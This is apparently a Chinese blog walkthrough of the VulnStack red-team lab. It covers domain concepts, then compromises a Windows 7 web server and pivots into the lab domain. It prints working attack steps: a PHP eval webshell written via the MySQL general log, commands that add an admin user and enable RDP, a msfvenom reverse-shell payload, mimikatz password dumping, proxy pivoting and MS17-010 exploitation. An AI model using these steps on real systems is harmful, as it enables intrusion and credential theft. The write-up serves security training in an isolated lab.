[域渗透]Vulnstack(一)

[ATT&CK实战]VulnStack红队(一)

内网和域

内网

局域网(Local Area Network,LAN)是指在某一区域内由多台计算机互联成的计算机组。一般是方圆几千米以内。局域网可以实现文件管理、应用软件共享、打印机共享、工作组内的日程安排、电子邮件和传真通信服务等功能。局域网是封闭型的,可以由办公室内的两台计算机组成,也可以由一个公司内的上千台计算机组成。

域(Domain)是相对工作组(Workgroup)的概念,形象的说,域就像中央集权,由一台或数台域控制器(Domain Controller)管理域内的其他计算机;工作组就像各自为政,组内每一台计算机自己管理自己,他人无法干涉。

域是一个计算机群体的组合,是一个相对严格的组织,而域控制器则是这个域内的管理核心。

域控制器可以对域内计算机进行集中管理,比如在域控制器上可以定义所有用户不能更改桌面,或者所有用户的密码长度必须8位以上,而工作组环境的计算机则无法做到这些。

一般情况下,域控制器集成了DNS服务,可以解析域内的计算机名称(基于TCP/IP),解决了工作组环境不同网段计算机不能使用计算机名互访的问题。

  • 域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后, 2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。   
  • – 域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域;每个域都有自己的安全策略,以及它与其他域的安全信任关系。
  • – 域:域是一种管理边界,用于一组计算机共享共用的安全数据库,域实际上就是一组服务器和工作站的集合。

域和域之间可以通过VPN等设备进行连接,并建立从属和平行的域关系

域渗透的思路

通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网。

—靶机实战—

环境搭建

靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
加上kali攻击机一共四台机器。。。。
1592038305775

kali设置成NAT模式,win7网络适配器1设置成自定义(VMnet1仅主机模式),网络适配器2设置成NAT模式,win2003、win2008 网络适配器设置成自定义(VMnet1仅主机模式)。主机默认开机密码都是hongrisec@2019,手动在win7的c盘下开启phpstudy。

设置完毕后VM1、VM2、VM3就在同一内网中了,只有VM1web服务器能够访问内网,所以要想访问win2008和win2003服务器必须要先拿下win7服务器,用它做跳板进内网进行横向渗透。

攻击机:kali ip:192.168.211.151 / 物理机 ip:192.168.211.1

win7 内网ip:192.168.52.143 外网ip:192.168.211.158

win2003 ip:192.168.52.141

win2008 ip:192.168.52.138

拓扑图
1592013381503

信息收集

先使用nmap进行主机发现

1
nmap -sP 192.168.211.1/24

1592011728471

目标靶机ip为

1
192.168.211.158

之后再对其进行端口扫描

1
nmap -A 192.168.211.158 -p 1-65535

1592011946262

靶机开放了80端口和3306端口
访问80端口,发现是一个phpstudy探针页面
1592012107913

进行目录扫描
1592012372900

得到phpinfo.php和phpmyadmin页面
可以通过phpinfo.php页面获得网站的绝对路径
访问phpmyadmin,发现使用弱口令root/root能直接登录成功
1592012875133

在数据库中发现了一个newyxcms数据库,猜测应该还有一个yxcms的网站
1592013081708

这里也可以猜到目录为/yxcms
1592013222492

Getshell

通过信息收集得到了两种getshell的可行方式,一种是通过phpmyadmin进行getshell,另一种是通过yxcmsgetshell

phpmyadmin

网站的绝对路径可以通过phpinfo.php获得,尝试通过写入一句话木马进行getshell
先执行show global variables like '%secure%';查看是否能够写入
1592013641907

1
2
3
4
5
secure_file_priv为null 表示不允许导入导出;

secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹;

secure_file_priv没有设置时,则表示没有任何限制;

该方法行不通,尝试换一种方法

找到一篇文章,可以通过日志文件写入一句话来获取webshell
我们执行的每一个sql语句都会被保存到日志中,换个思路想一下把这个日志文件重名为.php,然后我们在执行一次sql语句,那么就会被保存在这个.php文件中,这样我们就能顺利拿到webshell。

手动修改:

点击变量选项,搜索gen就会出来general.log和general log file这两个变量,general.log变量是指是否启动记录日志;而general log file指的是日志文件的路径,可以看到general.log变量的状态为OFF,故我们要修改为ON;general log file变量中的.log的后缀我们改为php。

SQL语句进行修改:

set global general_log = “ON”; 日记保存状态开启;
SET global general_log_file=’c:/phpStudy/phpstudy/PHPTutorial/WWW/shell.php’
修改日记的保存位。(具体路径还需在实际环境中改变);

1592014482309

之后执行

select “<?php eval($_POST[a]);?>“;

访问1.php,使用蚁剑连接即可得到shell
1592032772934

yxcms

可以很容易找到网站后台?r=admin自动跳转到index.php?r=admin/index/login
爆破一下得到用户名密码为admin/123456
1592033196752

这里可以直接在前台模板出修改index.php文件,直接插入一句话获得shell
1592033325609

1592036667259

内网探测

ipconfig /all

1592036447678

1592036500877

192.168.52.143为win7内网ip地址
win2003和win2008内网ip如下

1592118829061

尝试远程登录

查看当前用户权限,因为一般拿下window的话都会尝试去连接它的远程桌面,所以再查看一下3389端口开放情况
netstat -an | find "3389"
1592036641280

没有回显即没有开启3389端口
可以使用以下命令开启它(win7、win2003、winxp),运行后显示3389端口已经成功开启(关闭命令把如下0都换成1):

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

1592036735107

添加用户

1
2
3
net user test 123!@asd /add # 添加账户密码
net localgroup administrators test /add # 给test账户添加为管理员权限
net user test # 查询是否成功添加test用户

1592036974167

使用finalshell远程桌面连接,但是连接失败
1592037062114

使用nmap查看3389端口,发现其状态为filtered,查看防火墙只能本地连接
1592037145400

msf反弹shell

首先生成shell.exe

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.211.151 LPORT=4444 -f exe > shell.exe

使用msf监听

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set Lhost 192.168.211.151

run

将生成的文件通过蚁剑上传到win7,使用start shell.exe来执行
成功获得会话
1592103556453

然后关闭防火墙

第一种是刚刚msf反弹回来的输入
run post/windows/manage/enable_rdp
第二种是在菜刀命令终端下输入
netsh advfirewall set allprofiles state off

可成功远程连接,但是另一台机器会被挤下线

1592119662314

使用隧道连接3389

除了使用msf反弹,还可以使用隧道连接3389

1
2
3
在Sunny-Ngrok的官网 https://www.ngrok.cc/ 注册一个账号(可以通过这个软件实现使用外链访问电脑本地项目的功能),登录之后选择隧道管理->开通隧道->选择一个服务器(frp或者ngrok)->开通隧道并获得一个隧道id->下载客户端->打开客户端启动工具->输入隧道id->本地远程登录。

开通隧道时隧道名称随意写,本地端口写想要转发出去的计算机ip及端口(可以为局域网内任意机器映射,这里填入想要转发的win7的ip及端口)

getsystem提到系统权限

1592106884378

mimikatz获取账号密码

加载mimikatz模块,加载模块前需要先将meterpreter迁移到64位的进程,而且该进程需要是system权限运行
ps查看进程id,选择一个system权限的进程,一般选择explorer.exe对应的PID
1592107368867

这里选择488

1
2
3
migrate 488
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords

1592107570290

成功获得账号密码

{ Administrator ; GOD.ORG ; hongrisec@2020 }

域信息收集

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
net time /domain        #查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain #查看域用户
net view /domain #查看有几个域
ipconfig /all       #查询本机IP段,所在域等
net config Workstation #当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user         #本机用户列表
net group "domain computers" /domain #查看域内所有的主机名
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控
net localhroup administrators #本机管理员[通常含有域用户]
net user 用户名 /domain #获取指定用户的账户信息
net group /domain #查询域里面的工作组
net group 组名 /domain #查询域中的某工作组
1
net group "domain admins" /domain	#查看域管理员

1592117069699

1
ipconfig /all		#查询本机IP段,所在域等

存在内网和域,192.168.211.138为域控机器
1592117554528

查询域列表
1592118365174

查看同域机器
1592118265793

查看域用户
1592118342690

查询当前计算机名、计算机全名、用户名、工作站、软件版本、工作站域、工作站域 DNS 名称、登录域

1592118582340

信息整理

域:god.org

域内有三个用户:Administrator、ligang、liukaifeng01

域内三台主机:ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)、OWA

域控:OWA(192.168.52.138)

win7内网ip:192.168.52.143

横向移动

添加路由/挂Socks4a代理

1
2
3
4
5
添加路由的目的是为了让MSF其他模块能访问内网的其他主机,即52网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递

添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务

(添加路由一定要在挂代理之前,因为代理需要用到路由功能)

run get_local_subnets 查看当前网段
run autoroute -s 192.168.52.0/24
run autoroute -p

1592121409360

arp -a查看所有接口的当前 ARP 缓存表
1592123028840

设置代理,设置成功后打开其他程序需前加上proxychains
这里必须将会话放到后台,不能从新开一个msf,不然代理不成功!!!!

1
2
3
4
Ctrl+z  把会话放到后台
Ctrl+c 结束会话
msf exploit(handler) > sessions -i 2 选择会话
msf exploit(handler) > sessions -k 2 结束会话
1
2
3
4

use auxiliary/server/socks4a #添加socks4a代理
set srvport 1080#设置端口
set srvhost 192.168.211.151

之后修改/etc/proxychains.conf,将9050改为1080
1592127769741

之后便能通过内网ip访问

1
proxychains curl http://192.168.52.143

1592139026667

攻击内网主机

内网存活主机服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字

查看主机开放的端口

1
proxychains nmap -Pn -sT 192.168.52.141 -p 1-1000

1592140166321

开放了445端口,可以尝试使用ms17-010攻击。设置payload时要使用正向连接

search ms17-010
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
run

1592140650820

拿下域控

扫端口

1
proxychains nmap -Pn -sT 192.168.52.138 -p 1-500

1592143477464

开放445,再尝试用永恒之蓝打一下

search ms17-010
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
run

但是并没有返回会话,但是 由于前面拿到了管理员账号和密码,所以直接使用exploit/windows/smb/psexec进行远程登陆(失败)

参考文章:https://www.liuk3r.com/index.php/2020/05/13/%e5%86%85%e7%bd%91%e6%b8%97%e9%80%8f%e9%9d%b6%e6%9c%ba-vulnstack-1/

https://www.cnblogs.com/wkzb/p/12358076.html#autoid-4-2-0

https://wh0ale.github.io/2018/12/19/2018-12-19-%E5%9F%9F%E6%B8%97%E9%80%8F/

文章作者:CyzCc
最后更新:2020年06月15日 16:06:18
原始链接:https://cyzcc.vip/2020/06/15/Vulnstack%E4%B8%80/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------